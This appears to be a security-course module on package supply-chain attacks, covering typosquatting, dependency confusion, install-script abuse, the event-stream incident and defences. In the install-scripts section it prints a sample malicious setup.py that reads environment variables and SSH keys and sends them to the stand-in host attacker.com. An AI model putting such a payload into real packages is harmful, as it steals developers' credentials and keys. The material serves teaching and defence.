Dependency Confusion & Package Attacks
Supply Chain & Binary Attacks · Advanced Exploitation track
7 min read
In this module
The Package Manager as Attack Vector
Modern software development runs on package managers. A typical application pulls in hundreds or thousands of dependencies from public registries: npm, PyPI, RubyGems, Maven Central, crates.io. Each one is code that runs with the same privileges as your application.
That dependency graph is an enormous attack surface. If an attacker can get your build system to install a malicious package, their code runs in your environment — on your build server, in your CI/CD pipeline, in production.
Typosquatting
The simplest package attack is typosquatting: registering a package name that is a common misspelling or variation of a popular package.
For example, if a popular package is called requests, an attacker might register requets, request, reqeusts, or python-requests. A developer who types the wrong name in their dependency file or install command gets the malicious package instead.
pip install requests ← legitimate, very widely used packagepip install reqeusts ← typosquatted malicious packageTyposquatting packages typically contain the legitimate package's actual code (to avoid suspicion) plus malicious additions. The malicious code might run during installation (in the package's setup.py when pip builds a Python source distribution, or install scripts for npm) or during import.
The attack is effective because:
- Package names are typed manually by humans who make typos
- Many registries allow anyone to register any available name
- Developers rarely verify that the package they installed is the one they intended
- The malicious package works correctly (since it includes the real code), so there is no obvious sign of a problem
Typosquatting in the package ecosystem is the practice of registering package names that are common misspellings or variations of popular packages. When a developer accidentally installs the wrong package, they get the attacker's code. The malicious package typically includes the real package's functionality plus additional malicious behaviour.
Dependency Confusion
Dependency confusion was named by Alex Birsan, who in February 2021 published how he'd used it to run code inside Apple, Microsoft, PayPal and dozens of other companies. It's a more targeted attack that exploits how package managers resolve package names when both public and private registries are configured.
Many organisations host internal packages on private registries. These packages often have names like company-auth, internal-utils, or myorg-config. The organisation's build systems are configured to check both the private registry and the public registry (npm, PyPI, etc.).
The vulnerability arises from the resolution order. If a package exists on both registries, which one gets installed? Many package managers prefer the public registry, or prefer the version with the higher version number regardless of source. pip's --extra-index-url is the textbook case: pip treats every configured index as equal and installs the highest version it finds on any of them. An attacker who discovers the name of an internal package can publish a malicious package with the same name and a very high version number to the public registry.
Private registry: company-auth v1.2.3 (legitimate)Public registry: company-auth v99.0.0 (attacker's malicious package)
Build system: "I need company-auth. The public registry has v99.0.0, which is higher than v1.2.3. Installing v99.0.0."The attacker's package runs its malicious code during installation, potentially exfiltrating environment variables, source code, credentials, or establishing persistent backdoor access to the build environment.
Discovering internal package names is often possible through:
- Leaked configuration files (package.json, requirements.txt) in public repositories
- Error messages that mention internal package names
- Job listings that mention specific internal tools
- Former employees who know the internal tooling
Malicious Install Scripts
Package managers often support running arbitrary code during installation. This is the primary mechanism that package attacks use for execution:
- npm:
preinstallandpostinstallscripts in package.json run automatically - Python/pip:
setup.pyruns when pip installs from a source distribution (sdist) and can execute any Python code. A pre-built wheel installs without running package code, so malicious packages tend to ship as sdists, or put the payload in code that runs on first import - Ruby/gem:
extconf.rband build extensions run during installation
These install scripts have full access to the system with the permissions of the user running the install command. On a developer's workstation, this might be their user account. On a CI/CD server, this might be a service account with access to deployment credentials and infrastructure.
A malicious install script can:
# Malicious setup.py example (simplified)import os, socket, subprocess
# Steal environment variables (may contain API keys, tokens)env_data = str(os.environ)
# Steal SSH keysssh_keys = open(os.path.expanduser("~/.ssh/id_rsa")).read()
# Exfiltrate to attacker's servers = socket.socket()s.connect(("attacker.com", 443))s.send(env_data.encode() + ssh_keys.encode())s.close()
# Then install the real package normally so nothing looks wrongThe malicious code runs during pip install, before the developer even imports the package. The attack completes in seconds and leaves no obvious trace.
The event-stream Incident
One of the most notable real-world package supply chain attacks targeted the npm package event-stream, which had millions of weekly downloads. In 2018, the original maintainer, who had lost interest in the project, transferred ownership to a new contributor who had been making helpful pull requests.
The new maintainer added a dependency on a package called flatmap-stream, which contained obfuscated malicious code targeting the Copay Bitcoin wallet application. The malicious code only activated when running inside the Copay build process, where it attempted to steal cryptocurrency wallet keys.
This attack demonstrated a critical weakness in the open-source ecosystem: many widely-used packages are maintained by unpaid volunteers who may not have the resources to thoroughly review contributions, and ownership transfers can introduce malicious actors.
Defences Against Package Attacks
Several defences have been developed:
Lock files: Lock files (package-lock.json, Pipfile.lock, Cargo.lock) record the exact version and cryptographic hash of every installed dependency. Subsequent installs verify that the downloaded package matches the recorded hash. This prevents an attacker from replacing a package after the lock file is created.
Namespace scoping: Using scoped packages (like @mycompany/auth on npm) reduces the risk of dependency confusion because the scope is tied to the organisation's account.
Private registry configuration: Configuring the package manager to only check the private registry for internal package names prevents dependency confusion entirely.
Install script restrictions: Some organisations disable automatic install script execution and instead audit scripts manually before allowing them to run.
Supply chain security tools: Tools that analyse dependencies for known vulnerabilities, check for typosquatting patterns, and monitor for unexpected ownership changes.
Vendoring: Copying dependencies directly into the project repository instead of fetching them from a registry at build time. This eliminates the risk of registry-based attacks but increases the burden of keeping dependencies updated.
The package ecosystem is built on trust — and trust is exactly what attackers exploit. Every dependency you install is code you've chosen to run. As supply chains have become a primary attack vector, the security of your dependency management has become as important as the security of your own code.